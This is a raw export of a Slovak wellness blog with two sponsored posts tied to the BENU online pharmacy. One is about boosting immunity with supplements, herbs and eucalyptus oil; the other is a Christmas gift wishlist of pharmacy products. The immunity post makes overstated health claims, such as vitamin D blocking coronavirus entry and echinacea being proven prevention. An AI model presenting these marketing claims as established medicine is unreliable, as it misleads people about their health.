radi používate?</p><p><br /></p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p><p style="text-align: right;"><i><span style="font-size: x-small;">(sponzorovaný článok/spolupráca)</span></i></p><p><br /></p><p><br /></p><p><br /></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-35479874018006184032020-12-20T12:39:00.118+01:002020-12-21T18:58:46.229+01:00Ako zlepšiť obranyschopnosť tela a podporiť imunitný systém<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnrVSL7lf9obCq0UyX6Jqn-Stnr1JANtKh0sY6VuaFbAEknnTIk8orSyksIFTodgeT_r5B0dKUDLI5vNmRV3ixEc_0Kn6zcC36vFcoP8HJe4Ysi6wDHT8GTS9JBkrJPNqo5JgHJiGLYX1T/s815/imunita-blog.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="543" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnrVSL7lf9obCq0UyX6Jqn-Stnr1JANtKh0sY6VuaFbAEknnTIk8orSyksIFTodgeT_r5B0dKUDLI5vNmRV3ixEc_0Kn6zcC36vFcoP8HJe4Ysi6wDHT8GTS9JBkrJPNqo5JgHJiGLYX1T/s16000/imunita-blog.jpg" /></a></div><p style="text-align: justify;">Uprostred pandémie, ktorá už niekoľko mesiacov ovplyvňuje naše každodenné životy, možno dobre fungujúcu imunitu prirovnať k esu v rukáve, ktoré má silný potenciál vyhrať hru. A hoci <b>budovanie imunity</b> by malo byť procesom systematickým a dlhodobým, nikdy nie je neskoro obranyschopnosti nášho tela venovať pozornosť a niekoľkými cielenými krokmi jej pomôcť a podporiť imunitu. <b>Dobre fungujúci imunitný systém</b> je nevyhnutným predpokladom prežitia. Bez imunitného systému by sme boli neustále vystavený početným atakom najrôznejších vírusov, baktérií a iných patogénov z vonkajšieho prostredia. </p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Pri ochrane pred najrozličnejšími mikroorganizmami spôsobujúci ochorenie je to práve <b>náš imunitný systém</b>, ktorý neustále odvádza pozoruhodnú prácu pre <b>naše celkové zdravie</b> a udržuje nás zdravých napríklad aj počas náročných jesenných a zimných dní, ktoré každoročne bývajú spojené s nárastom ochorení najmä respiračného charakteru. Zrejme aj preto najneskôr počas neskorej jesene s príchodom sychravých zamračených dní už <b>posilnenie imunity</b> zvykne riešiť asi väčšina z nás. </span></blockquote><p></p><p style="text-align: justify;">Zdravú a dobrú imunitu však potrebujeme neustále, a hoci ide o celkom komplikovaný systém v našom tele, existuje <b>niekoľko účinných spôsobov</b> ako môžeme svoju imunitu podporiť. Možno sa práve pýtate, čo môžem robiť, ak aj napriek podpore, systém imunity v súboji s infekčným mikroorganizmom prehráva a prestane fungovať natoľko, že nakoniec aj tak ochoriem? Môžem ešte stále zasiahnuť do tohto procesu a <b>zlepšiť svoj imunitný systém</b>? Môžem zmenou životného štýlu, stravovacích návykov alebo užívaním určitých doplnkov výživy či byliniek pomôcť vyvolať potrebnú odpoveď imunity? Najmä v súvislosti s vypuknutím pandémie, aj nám podobné otázky a úvahy vírili hlavou :) </p><p style="text-align: justify;">Pokiaľ vás baví “lúskanie“ ponuky internetových stránok a rovnako ako aj my v tomto období uprednostňujete najmä <b>nakupovanie online</b>, odporúčame vám BENU lekáreň, kde sme našli všetko potrebné <a href="https://www.benulekaren.sk/imunita" target="_blank">na podporu imunity</a>. Priamo v kategórii si môžete vybrať zo širokej ponuky značiek i produktov. V nasledujúcich riadkoch sa pokúsime zhrnúť to najdôležitejšie, čo pre svoju imunitu môžeme urobiť. </p><h3 style="text-align: justify;">Ako môžem zlepšiť imunitný systém?</h3><p style="text-align: justify;">Prvou líniou obrany, ktorú sami dokážeme priamo ovplyvniť, je <b>zdravý životný štýl</b>. Ten so sebou prináša niekoľko kľúčových faktorov, ktoré výrazne vplývajú na skvalitnenie imunitnej odpovede nášho organizmu. Aby náš imunitný systém mohol počas tzv. virotického obdobia lepšie odolávať infekčným ochoreniam, pomôže mu aj naša celoročná <b>cielená podpora</b>. </p><p style="text-align: justify;">Nevyhnutnou súčasťou zdravého životného štýlu a budovania dobrej imunity je <b>zdravá strava</b> bohatá na čerstvú zeleninu a ovocie, zároveň <b>eliminovanie stresu</b>, ktorý zbytočne organizmus oslabuje a zvyšuje pravdepodobnosť ochorieť. Nemálo dôležité je preto pohodové zvládanie náročných situácií, taktiež <b>dostatočný spánok</b>, ale aj <b>hydratácia organizmu</b>. A i keď tá samotná nás pred útokmi vírusov či baktérií neochráni, pre celkové zdravie je nemenej dôležitá, pretože dehydratácia organizmu v konečnom dôsledku môže ovplyvňovať nielen našu náladu či fyzický výkon, no tiež sa značne podieľa na spomalení trávenia, činnosti srdca alebo obličiek, čo môže mať za následok zvýšenú náchylnosť k ochoreniam. Ani počas chladných mesiacov preto nezabúdajme na pitný režim. <b>Dôležitosť pravidelného pohybu</b> je ďalším dôležitým faktorom pre správnu imunitu. Už aj ľahké cvičenie, prechádzky na čerstvom vzduchu pomáhajú, naviac dokonca môžu zmierniť zápalový proces a pomôcť imunitným bunkám pravidelne sa regenerovať.</p><h3 style="text-align: justify;">Výživové doplnky na podporu imunity</h3><p style="text-align: justify;"><b><span style="font-size: large;">vitamín C</span></b> – má pre imunitu nemálo výhod. Podporuje mnohé biochemické procesy v tele, zlepšuje absorpciu železa, metabolizmus tukov, tvorbu kolagénu a urýchľuje aj hojenie rán. Je <b>zapojený do mnohých častí imunitného systému</b>, podporuje tvorbu bielych krviniek tzv. lymfocytov a fagocytov, ktoré organizmus pomáhajú chrániť pred infekciou. Zároveň <b>pomáha bielym krvinkám efektívnejšie fungovať</b>, a keďže funguje aj ako známy antioxidant, zneškodňovaním voľných radikálov v tele ich chráni pred poškodením. Nízka hladina vitamínu C môže naviac súvisieť s niektorými nepriaznivými zdravotnými komplikáciami alebo ochoreniami, akým je napríklad aj zápal pľúc, pri ktorom chorí mávajú zvyčajne nižšiu hladinu vitamínu C a bolo preukázané, že doplnky vitamínu C čas na zotavenie sa z tohto ochorenia pomáhajú skrátiť. Podobne je to aj <b>pri prechladnutí,</b> hoci vitamín C na riziko prechladnutia nemá žiadny vplyv, ale pomáha znížiť jeho závažnosť a trvanie. Je to dôležitý vitamín, ktorý si organizmus sám nedokáže vyrábať a je odkázaný na jeho príjem z iných zdrojov.</p><p style="text-align: justify;"><span style="font-size: large;"><b>vitamín D</b></span> – organizmus si ho za ideálnych podmienok počas chladných sychravých dní jesene, zimy či skorej jari, čerpá z letných zásob, ktoré sú síce uložené v pečeni, ale ako sa pri mnohých výskumoch zistilo, málokedy zásoby tohto vitamínu bývajú v organizme dostatočné. <a href="https://www.benulekaren.sk/vitamin-d" target="_blank">Vitamín D</a> pritom <b>zohráva kľúčovú úlohu</b> nielen <b>pri dobre fungujúcej imunite voči infekčným chrípkovým ochoreniam</b>, ale existuje aj viacero vedeckých štúdií poukazujúcich na vitamín D v súvislosti s lepšou možnou <b>odolnosťou organizmu aj voči novému typu koronavírusu</b>, nakoľko vitamín D, niektoré cesty, ktorými vírus môže preniknúť do bunky, dokáže aj blokovať. Zo skupiny vitamínov D, ktoré sa významne podieľajú na protizápalovej aktivite organizmu, sa za najdôležitejšie považujú vitamín D2 <i>(ergokalciferol)</i> a D3 <i>(cholekalciferol)</i>. </p><p style="text-align: justify;"><span style="font-size: large;"><b>zinok</b></span> – nielen udržiava zdravé nechty, vlasy a pokožku, ale významne podporuje aj správne fungovanie imunitného systému. Ide o stopový prvok, ktorý je <b>nevyhnutný pre vývoj a funkciu imunitných buniek</b>. Zinok zmierňuje oxidačný stres, znižuje riziko chorôb súvisiacich s vekom, urýchľuje hojenie rán a zlepšuje aj príznaky akné a taktiež znižuje hladiny niektorých zápalových proteínov, čím <b>pomáha pri redukovaní zápalu</b> v organizme.</p><p style="text-align: justify;"><b><span style="font-size: large;">selén</span></b> – je ďalší významný stopový prvok, ktorý zohráva dôležitú úlohu v boji proti voľným radikálom a prispieva aj k správnemu fungovaniu imunitného systému. Okrem toho priaznivo ovplyvňuje fungovanie štítnej žľazy, ale i rast a udržiavanie zdravých nechtov a vlasov. <b>Zvýšená potreba selénu</b> v organizme nastáva aj <b>počas infekčných ochorení</b> alebo počas zvýšenej fyzickej záťaže.</p><p style="text-align: justify;"><span style="font-size: large;"><b>probiotiká</b></span> – sú živé mikroorganizmy zodpovedajúce za zdravú rovnováhu črevnej mikroflóry, ktorá tvorí celkovo až cca 70 – 80 % nášho imunitného systému. Môžu pomôcť posilniť imunitný systém a potlačiť rast škodlivých baktérií. Niektoré probiotiká podporujú tvorbu prirodzených protilátok v organizme a pomáhajú aj ako ochrana pred infekciami. Užívanie probiotík tiež môže napomôcť znížiť pravdepodobnosť alebo trvanie respiračných infekcií. </p><p style="text-align: justify;"><span style="font-size: large;"><b>beta-glukány</b></span> – patria do skupiny polysacharidov zložených z viacerých molekúl glukózy vzájomne poprepájaných beta-glykozidovými väzbami. Ide o rozpustný typ vlákniny, ktorá je prirodzenou súčasťou bunkovej steny kvasiniek, baktérií, húb, rias a rastlín. Nachádzajú sa napr. v pekárenských alebo pivovarských kvasniciach, obilných zrnách alebo hubách (reishi, shitake, hliva ustricová). Imunitný systém posilňujú stimuláciou a aktiváciou imunitných buniek, taktiež môžu zvyšovať účinnosť antibiotickej liečby alebo pomôcť skrátiť trvanie infekcie a uľahčiť jej priebeh.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcQHPfwj18QcQuQtZmTbJmQUkQQDv4p3HKghXeuVOMB4nFa1NLBagEWWn1KvDTEK7V57gJ_n8_y6YJHaRP7MQyk4H8Z5YsPCHEOOX9TOGNrOYP9l3fF8LIirPE47pysHJJhmmKEr55_IbF/s2048/benu-lekaren-imunita-vitaminy.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcQHPfwj18QcQuQtZmTbJmQUkQQDv4p3HKghXeuVOMB4nFa1NLBagEWWn1KvDTEK7V57gJ_n8_y6YJHaRP7MQyk4H8Z5YsPCHEOOX9TOGNrOYP9l3fF8LIirPE47pysHJJhmmKEr55_IbF/w640-h480/benu-lekaren-imunita-vitaminy.jpg" width="640" /></a></div><p style="text-align: justify;"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihby1QPRyNBbVLAqoEd0nQYz-lqIk8aulZkshShWdUgusBgtlyJN3czzls_38s2F-HU2pP3hN2GfwNFwuMXXIt7QuUucBLmfxTzqTArMPcftAKUaet713crBOCi4U5j_4mhFaph5ZJT0Oi/s2048/benu-lekaren-imunita-caj-eukalyptovy-olej.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1536" data-original-width="2048" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihby1QPRyNBbVLAqoEd0nQYz-lqIk8aulZkshShWdUgusBgtlyJN3czzls_38s2F-HU2pP3hN2GfwNFwuMXXIt7QuUucBLmfxTzqTArMPcftAKUaet713crBOCi4U5j_4mhFaph5ZJT0Oi/w640-h480/benu-lekaren-imunita-caj-eukalyptovy-olej.jpg" width="640" /></a></div><p></p><h3 style="text-align: justify;">Podpora imunity z prírody</h3><p style="text-align: justify;">Popri vitamínoch a minerálnych doplnkoch výživy, zdravej strave a pohybe, je viac ako vhodné, obohatiť posilňovanie imunity aj prostredníctvom pitia <b>bylinkových čajov</b>. Je všeobecne známe, že niektoré druhy liečivých rastlín účinkujú efektívne aj na <b>podporu imunity</b> a pomáhajú odolávať infekciám. Jednozložkové i kombinované <a href="https://www.benulekaren.sk/caje-a-bylinky " target="_blank">čajové zmesi byliniek</a> majú viacero výhod, medzi ktoré patria <b>antibakteriálne, antivírusové</b> a <b>protizápalové účinky</b>. Výber takto účinných byliniek je naozaj rozmanitý – <i>kapucínka, rakytník, baza, šípky</i>, ale aj <i>medovka, mäta, šalvia, nechtík, lipa</i> alebo <i>yzop</i>. V súvislosti s podporou imunity ale medzi naše stálice určite patrí <b>echinacea</b> a odporúčame ju ako prvú voľbu hneď začiatkom jesene. Je to <b>overená prevencia</b> i podporná liečba pri nástupe nádchy a chrípky, takže v jesennom a zimnom období ju preto máme neustále po ruke. A hoci si ju pestujeme aj samé, zatiaľ jej množstvo nepokrýva celú našu spotrebu :) z tohto dôvodu si zásoby priebežne dopĺňame aj o čaje rôznych, najmä slovenských, značiek. </p><p style="text-align: justify;">Iným spôsobom podpory imunity, ktorý nám vyhovuje obzvlášť počas chladných dní, je <b>aromaterapia</b>. V podstate ďalšia pre nás nevyhnutná vec počas chrípkovej sezóny je, mať v zásobe <b>eukalyptový éterický olej – silicu</b>. Dezinfikuje ovzdušie v miestnosti a pomáha tak ako prevencia a aj ako čistiaci prostriedok pri ochorení dýchacích ciest, pri kašli a prechladnutí. Má charakteristickú a výraznú arómu a je tiež známy ako horúčkový olej, ktorý sa môže kvapnúť do teplej vody a touto zmesou potom potrieť napríklad čelo, aby sa postupne jeho pôsobením znížila telesná teplota. Jednoducho, <b>eukalyptová silica</b> patrí k našej základnej výbave predovšetkým počas chrípkového obdobia. </p><p style="text-align: justify;">S blížiacimi sa vianočnými sviatkami, by sme sa mali snažiť <b>pomôcť našej imunite aj s dôrazom na vyváženú stravu</b>. K tomu samozrejme patrí úsilie nezaťažovať organizmus nevhodným stravovaním a <b>vyhýbať sa nadmernej konzumácii</b> mastného a sladkého a pravidelne zaradiť, nielen počas sviatočných dní, ingrediencie ako cesnak, pre jeho známe silné antimikrobiálne a antivirotické vlastnosti, podobne ako aj kyslú kapustu, cviklu, mrkvu, špenát, kivi, jogurt, fermentované potraviny, zázvor, škoricu, fenikel či kurkumu.</p><p style="text-align: justify;">Možno sa vám môže zdať náročné neustále premýšľať nad tým, čo robiť, čo zjesť, prípadne, čo do výživy <b>na posilnenie imunity</b> doplniť. Zjednodušene možno povedať, že kombinácia zdravej stravy, pravidelnej fyzickej aktivity, dostatočný spánok, eliminovanie stresu a <b>vhodné výživové doplnky</b> povedú k dlhodobému udržaniu správne fungujúcej imunity. Myslíme si preto, že je lepšie osvojiť si aspoň <b>základné pravidlá</b> podpory imunity a následne tak pre svoje zdravie urobiť maximum toho, čo môžete. </p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p><p></p><div style="text-align: right;"><i><span style="font-size: x-small;">zdroj foto: pexels, bioekologika</span></i></div><div style="text-align: right;"><i><span style="font-size: x-small;">(sponzorovaný článok/spolupráca)</span></i></div><p></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-13621378405126065622020-12-08T13:35:00.004+01:002020-12-09T11:43:56.756+01:00Vianočný wishlist zdravia, ktoré možno darovať<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwpbPXbUADo7QgJ52yaQ7uoiy1fUh6MUxmuL1sHpH18wuvYYMvXlNN85NRsBdmEkXMIN7fM3M_53fP36e6j-reeFv7F7bMAXpFRAoh6BKYIk75h44Ohe1agAI7xllqwoVcBeZgwl_KvgU0/s815/viano%25C4%258Dn%25C3%25BD-wishlist-BENU-lekaren.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="542" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwpbPXbUADo7QgJ52yaQ7uoiy1fUh6MUxmuL1sHpH18wuvYYMvXlNN85NRsBdmEkXMIN7fM3M_53fP36e6j-reeFv7F7bMAXpFRAoh6BKYIk75h44Ohe1agAI7xllqwoVcBeZgwl_KvgU0/s16000/viano%25C4%258Dn%25C3%25BD-wishlist-BENU-lekaren.jpg" /></a></div><br /><p style="text-align: justify;">S príchodom <b>vianočných sviatkov</b> má každý z nás má iné zvyklosti a očakávania. Niekto si všetko spojené s Vianocami nechá na poslednú chvíľu a niekto zasa všetko rieši s prehľadom a časovým predstihom. Keď ide o nás dve, my Vianoce považujeme za <b>najkrajšie obdobie roka</b> a proces čakania a odrátavania dní, sa snažíme naplniť najmä <b>pokojom </b>a<b> radostnou atmosférou</b>.</p><p style="text-align: justify;">Napriek tomu, nám mnohí z vás dajú za pravdu, že <b>pripraviť sa na vianočné sviatky</b> často môže byť aj poriadne zaťažkávajúca skúška nervov či finančných zdrojov. Vo všeobecnosti všetko úsilie smerujeme k tomu, aby boli sviatky nezabudnuteľné a aby bol každý spokojný, a práve preto my volíme <b>taktiku precízneho plánovania</b> a <b>dodržiavania úloh</b>, na čo najrealistickejšom základe :)</p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">To v preklade vlastne znamená, že hľadáme spôsoby <b>ako si sviatky vylepšiť a nie pokaziť prehnanými a nerealistickými očakávaniami</b>. Užívame si prítomné okamihy a načerpávame energiu a zážitky aj na nadchádzajúce dni.</span></blockquote><p></p><p style="text-align: justify;">Jednou z dôležitých tém predvianočného obdobia bývajú nepochybne aj <a href="https://www.benulekaren.sk/vianoce" target="_blank">darčeky</a>. Ich forma, množstvo a výber podlieha mnohým kritériám, v zásade však s rovnakým cieľom – <b>potešiť a prekvapiť obdarovaného</b>. Nám sa osvedčila taktika, kedy vyberáme a <b>kombinujeme darčeky</b> akoby z určitých oblastí, napríklad zamerané umelecky, technicky, športovo, zážitkovo alebo vhodné do domácnosti. Vyberieme 1 – 2 hlavné darčeky podľa preferencií obdarovaného a potom ich doplníme o niekoľko drobností. Vytvoríme tak kombináciu <b>praktických a tiež neočakávaných prekvapení</b> a veríme, že radosť v očiach našich blízkych nám dostatočne prezradí, že sme sa pri výbere nezmýlili.</p><p style="text-align: justify;">Aj <b>spôsoby nakupovania</b> zvyčajne rady kombinujeme a využívame tak e-shopové ako aj kamenné obchody. Keďže tento rok s výberom darčekov v kamenných predajniach z dôvodu koronavírusovej opatrnosti ani neuvažujeme, s istotou ich vynechávame a darčeky tento rok riešime <b>online z bezpečia domova</b> :) Sme presvedčené, že Vianoce nemajú byť len o hmotných daroch nekonečného množstva, ale naopak, majú byť o nekonečnom množstve pohodových chvíľ a vzájomného porozumenia sŕdc. A <b>starostlivo vybraný darček hmotného charakteru</b> je takým milým doplnkom k príjemným chvíľam strávenými s tými, na ktorých najviac záleží. </p><p style="text-align: justify;">Keď nás oslovila <b>BENU lekáreň</b> s nápadom vytvoriť <b>vianočný wishlist</b> z ich ponuky, veľmi rýchlo sme sa ním stotožnili. Okrem možnosti zostaviť <b>niekoľko inšpiratívnych darčekových nápadov</b>, nás pri písaní zaujala najmä jedna súvislosť... že zdravie, ktoré si pre našich najbližších nielen na Vianoce želáme všetci asi najviac, môžeme do istej miery i darovať... a to výberom takých darčekov, ktoré zdravie podporujú.</p><p style="text-align: justify;">Ak nakupujete cez internet, už ste asi postrehli, že <b>ponuky internetových lekární</b> nie sú len o liekoch, vitamínoch a výživových doplnkoch, ale že <b>pohodlne na jednom mieste</b> môžete vyriešiť aj podstatnú časť darčekov <b>pre celú rodinu</b> aj <b>domáceho miláčika</b>. To je v hektickom predvianočnom období naozaj pomoc, pretože nemusíte nakupovať vo viacerých obchodoch, šetríte čas aj náklady na dopravu, <b>plus v jednom balíku vám prídu darčeky pre všetkých</b> alebo si ho môžete vyzdvihnúť priamo v lekárni.</p><p style="text-align: justify;">V e-shope BENU lekárne nájdete aj špeciálnu <b>kategóriu Vianoce</b>, ktorá vám pomôže s výberom. Je prehľadne rozdelená na <b>tipy pre staršiu generáciu, pre mužov, pre ženy a pre deti</b> a nájdete v nej <b>darčekové sety</b> kozmetiky, čajov alebo <b>extra balenia výživových doplnkov</b>, pri ktorých získate niekoľko tabliet/kapsúl zadarmo. Podobné balíčky sú aj našim obľúbeným darčekom, pretože majú <b>pekné vianočné balenia</b> a tiež sa pri nich dá získať aj niečo <b>extra naviac</b> v podobe väčšieho objemu/obsahu alebo produktu zadarmo. My sme z ponuky vybrali niekoľko obľúbených a zaujímavých darčekov a rozdelili sme ich do niekoľkých kategórií. </p><h4 style="text-align: justify;">Pre milovníkov čaju</h4><p style="text-align: justify;"><b>Horúci čaj</b> v obľúbenej šálke povzbudí náladu, <b>zahreje na tele a na duši</b> a dokáže dotvoriť nádhernú zimnú atmosféru. Výber druhu a chuti necháme na vás, nás však zaujali tieto 3, pretože kombinujú klasické vianočné vône a chute a aj bylinky na podporu imunity. </p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixnKkbILS3u61LYXIJbiJ37TkFzrjQu_3TEqD6uEiBSPzCj7cUVrGTBEpMT1mXlFHhp9ZiscOZI1isGCjKWLwd93L1wNy-N4YGnZYl7f_dLdsOVv3QbbdhUz31LQhkSwwNVd0H21njRb9V/s500/benu-lekaren-vianoce-caje.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="375" data-original-width="500" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixnKkbILS3u61LYXIJbiJ37TkFzrjQu_3TEqD6uEiBSPzCj7cUVrGTBEpMT1mXlFHhp9ZiscOZI1isGCjKWLwd93L1wNy-N4YGnZYl7f_dLdsOVv3QbbdhUz31LQhkSwwNVd0H21njRb9V/w640-h480/benu-lekaren-vianoce-caje.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>APOTHEKE <b>kolekcia ovocných čajov</b>, BIOGENA <b>winter tea excellent kolekcia</b>, LEROS <b>čaj meduplné spojenie</b></i></td></tr></tbody></table><h4 style="text-align: justify;">Pre milovníkov sladkého</h4><p style="text-align: justify;">Vybrali sme <b>sladkosti</b> v zdravšom duchu <b>bez obsahu konzervačných látok a umelých sladidiel</b>, jednoducho kvalitné suroviny, pri ktorých vôbec neprekáža, že ide o sladkosti. </p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHJTh0prwIl-KfvWXfNeW343KEcJOeYypqAH_WiEGgYI3kXr7sG0cw0IFipryJeIFVe1-187s15dvZP9n5PWxZwRb2qccyezwmH5veQZ7DmN91xV0KVf_g-Upzwx7tro_koiD2eEAmhoN6/s500/benu-lekaren-vianoce-sladkosti.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="375" data-original-width="500" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHJTh0prwIl-KfvWXfNeW343KEcJOeYypqAH_WiEGgYI3kXr7sG0cw0IFipryJeIFVe1-187s15dvZP9n5PWxZwRb2qccyezwmH5veQZ7DmN91xV0KVf_g-Upzwx7tro_koiD2eEAmhoN6/w640-h480/benu-lekaren-vianoce-sladkosti.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>TOPNATUR <b>müsli srdcom</b>, POEX <b>zmes choco exclusive</b> (pražené jadrá mandlí), BALANCE <b>mliečna čokoláda</b></i></td></tr></tbody></table><h4 style="text-align: justify;">Pri milovníkov kozmetiky</h4><p style="text-align: justify;">Vždy nás poteší, keď nájdeme <b>100 % prírodné</b> a <b>univerzálne produkty</b>, ktoré môže využiť v podstate ktokoľvek z rodiny a špeciálne počas zimného obdobia budú tieto 3 kúsky kozmetiky ideálne.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFTcjBnQEefty0WzISP8V4dMLVznJDMl8kHY1vTmna6yPH4EfaJIUJ8Sfo8nSSKAX2q8HxHIC1u9M5Ve3r6frCL5Cie_iDu15vOdHA6Zw2zaa2rRI-nFXifF8oFpcJl_FlZiwiaNKhLJFa/s500/benu-lekaren-vianoce-prirodna-kozmetika.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="375" data-original-width="500" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFTcjBnQEefty0WzISP8V4dMLVznJDMl8kHY1vTmna6yPH4EfaJIUJ8Sfo8nSSKAX2q8HxHIC1u9M5Ve3r6frCL5Cie_iDu15vOdHA6Zw2zaa2rRI-nFXifF8oFpcJl_FlZiwiaNKhLJFa/w640-h480/benu-lekaren-vianoce-prirodna-kozmetika.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>WELEDA <b>výživný krém Skin Food</b>, BEBUTTER <b>bio bambucké maslo</b>, TOPVET <b>šípkový pleťový olej</b></i></td></tr></tbody></table><h4 style="text-align: justify;">Pre budúcu mamičku</h4><p style="text-align: justify;">Táto radostná udalosť so sebou nesie aj istú finančnú záťaž a ak je <a href="https://www.benulekaren.sk/matka-a-dieta" target="_blank">budúca mamička</a> blízkym členom rodiny, určite sa dohodnete, čo by ju potešilo najviac. </p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFzLOKwJPCMf9CcGy7mp2hDstfRywJ315U4FCIIMLDhyphenhyphenU-iPtgvvO9ZcW6PJiYILkdYONpnqjQJ2QQAMXKo8H1bsN0ViOaqkc6KykexjKiHXNpjJ2f9L_epepUr1NkYyQB7oussEX2sWWs/s500/benu-lekaren-vianoce-buduca-mamicka.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="375" data-original-width="500" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFzLOKwJPCMf9CcGy7mp2hDstfRywJ315U4FCIIMLDhyphenhyphenU-iPtgvvO9ZcW6PJiYILkdYONpnqjQJ2QQAMXKo8H1bsN0ViOaqkc6KykexjKiHXNpjJ2f9L_epepUr1NkYyQB7oussEX2sWWs/w640-h480/benu-lekaren-vianoce-buduca-mamicka.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>WELEDA <b>tehotenský telový olej</b>, LADEEVITA <b>trimestrové balenie výživového doplnku</b>, LANSINOH <b>vankúš na dojčenie</b></i></td></tr></tbody></table><h4 style="text-align: justify;">Pre zdravý život</h4><p style="text-align: justify;">Pohybový aparát, srdce, cievy, dýchanie, trávenie, pamäť, energia, imunita...všetky potrebujú podporiť a prečo im nedopriať takéto <b>koncentrované zdroje vitamínov, minerálov</b> a iných prospešných látok.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgknT16zPktfqTaXt_7wYQ0uywfKuzpRQPZhxwnijT58Chyphenhyphen3V6QInQeJO1MmC3yflvF93Hc47L9xjOffgMCW8SoX5UIIFiEkd94TjgQ9yw2RtUZwX6iErxXw8lrMWYMp38TqxrzdErbuMKZ/s500/benu-lekaren-vianoce-vyzivove-doplnky.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="375" data-original-width="500" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgknT16zPktfqTaXt_7wYQ0uywfKuzpRQPZhxwnijT58Chyphenhyphen3V6QInQeJO1MmC3yflvF93Hc47L9xjOffgMCW8SoX5UIIFiEkd94TjgQ9yw2RtUZwX6iErxXw8lrMWYMp38TqxrzdErbuMKZ/w640-h480/benu-lekaren-vianoce-vyzivove-doplnky.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><i>INCA Collagen <b>hydrolyzovaný morský kolagén</b>, IMUNIT <b>hliva ustricová s rakytníkom a echinaceou</b>, COLAFIT <b>kryštalický kolagén</b></i></td></tr></tbody></table><p style="text-align: justify;">Veríme, že sme vás dostatočne inšpirovali tipmi na rôzne darčeky a že si v ponuke BENU lekárne vyberiete možno produkt, ktorý už máte overený alebo možno nájdete nejaký nový, ktorý sa stane vaším obľúbeným. Nech už to bude akokoľvek, myslíme, že aktuálne určite nie je šliapnutím vedľa napríklad darovať <a href="https://www.benulekaren.sk/vitalita-energia-imunita" target="_blank">doplnky na podporu imunity</a> bez ohľadu na vek obdarovaného, takýmto darom spoľahlivo aj bez slov vyjadríte, že vám na obdarovanom naozaj záleží. Dajte nám vedieť do komentára, ktoré darčeky by ste vybrali, prípadne s ktorými už máte skúsenosti. Budeme sa tešiť :)</p><p style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></p><p style="text-align: right;"><i><span style="font-size: x-small;">zdroj foto: pexels</span></i></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-14140432076439267822020-12-01T11:05:00.003+01:002022-04-26T11:36:59.005+02:00JEDNÉHO DŇA V DECEMBRI (Josie Silver)<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixXK4IIKKpS2MrZZWmg_qqHaq9F9BjfRKvbU-6yMWIzxdutPY3cFMfQAeGLI9wE7MKUZGY_K-pRsIDjmhrP4I4VkUxQcP5vK8JgVeaO9jLHOLtp5Yfq_1DpxmR6xHC077PyT0l5rgSZU8a/s815/kniha-jedneho-dna-v-decembri-recenzia-blog-1.jpg" 